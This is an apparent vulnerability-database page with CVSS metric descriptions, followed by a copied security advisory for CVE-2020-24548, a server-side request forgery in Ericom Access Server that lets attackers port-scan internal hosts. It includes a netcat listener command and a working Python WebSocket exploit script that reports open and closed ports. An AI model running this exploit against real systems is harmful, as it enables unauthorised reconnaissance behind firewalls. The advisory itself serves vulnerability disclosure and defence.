The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Ericom Access Server for (AccessNow & Ericom Blaze) v9.2.0 Server Side Request Forgery
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ERICOM-ACCESS-SERVER-ACCESS-NOW-BLAZE-9.2.0-SERVER-SIDE-REQUEST-FORGERY.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.ericom.com
[Product]
Ericom Access Server x64 for (AccessNow & Ericom Blaze) v9.2.0
AccessNow is an HTML5 remote desktop gateway that works from any device with an HTML5 compatible browser,
including from Chromebooks and locked down devices. Ericom Blaze provides remote desktop connectivity from
Mac, Windows and Linux devices to applications on office / home PCs and virtual desktops (VDI).
[Vulnerability Type]
Server Side Request Forgery
[CVE Reference]
CVE-2020-24548
[Security Issue]
Ericom Access Server allows attackers to initiate SSRF requests making outbound
connections to arbitrary hosts and TCP ports. Attackers, who can reach the
AccessNow server can target internal systems that are behind firewalls that are
typically not accessible. This can also be used to target third-party systems
from the AccessNow server itself.
The AccessNow server will return an attacker friendly response, exfiltrating
which ports are listening for connections. This can bypass Firewall rules and
undermine the integrity of other systems and security controls in place.
E.g. listen using Netcat, Nc64.exe -llvp 25
A) Ericom Server 192.168.88.152 (defaults port 8080)
B) Attacker 192.168.88.162
C) Victim 192.168.1.104
Using Wireshark we can observe A sends a SYN packet to C (port 25)
C sends SYN/ACK to A
A sends ACK to C.
A sends ACK/FIN to C port 25.
We will then get an AccessNow server response similar to below.
["C","M",["Cannot connect to '192.168.1.104:25'.",true]]
This message indicates we cannot connect and helpfully informs us of closed vs open ports.
[Affected Component]
Ericom Server port 8080 will forward connections to arbitrary Hosts and or Ports
which are sent using Web-Socket requests. Ericom server then replies with a
"Cannot connect to" message if a port is in a closed state.
[Attack Vectors]
Remote attackers can abuse the Ericom Access Server to conduct port
scans on arbitrary systems. This is possible due to a server side
request forgery vulnerability and using a remote TCP socket program.
[Impact Information Disclosure]
true
[CVE Impact Other]
Exfiltration of open ports
[Exploit/POC]
import sys,ssl
import websocket
##pip install websocket-client #Required
#By hyp3rlinx
#ApparitionSec
#========================================================
#Ericom Access Server v9.2.0 for (AccessNow & Blaze) SSRF
#========================================================
BANNER="""
______ _____
| ____| / ____|
| |__ _ __ _ __ ___ _ __| | ___ _ __ ___
| __| | '__| '__/ _ \| '__| | / _ \| '_ ` _ \
| |____| | | | | (_) | | | |___| (_) | | | | | |
|______|_| |_| \___/|_| \_____\___/|_| |_| |_|
SSRF Exploit
"""
def ErrorCom(vs,vp,t,p):
try:
ws = websocket.create_connection("wss://"+vs+":"+vp+"/blaze/"+t+":"+p, sslopt={'cert_reqs': ssl.CERT_NONE})
ws.send("SSRF4U!")
result = ws.recv()
#print(result)
if result.find("Cannot connect to")==-1:
print("[+] Port "+p+" is open for business :)")
else:
print("[!] Port " + p+ " is closed :(")
ws.close()
except Exception as e:
print(str(e))
if __name__=="__main__":
if len(sys.argv) != 5:
print(BANNER)
print("[+] Ericom Access Server v9.2.0 - SSRF Exploit - CVE-2020-24548")
print("[+] By Hyp3rlinX / ApparitionSec")
print("[!] Usage: <vuln-server>,<port (usually 8080)>,<target>,<port-to-scan>")
exit()
if len(sys.argv[4]) > 5:
print("[!] Port out of range")
exit()
print(BANNER)
ErrorCom(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])
[PoC Video URL]
https://www.youtube.com/watch?v=oDTd-yRxVJ0
[Network Access]
Remote
[Severity]
Medium
[Disclosure Timeline]
Vendor Notification : June 21, 2020
Received automated reply : June 21, 2020
Request for status : June 30, 2020
Vendor "Forwarded all the detail to our R&D and Management team" : June 30, 2020
Request for status : July 13, 2020
No vendor reponse
Informed vendor advisory: August 11, 2020
Request for status : August 20, 2020
No vendor reponse
August 22, 2020 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
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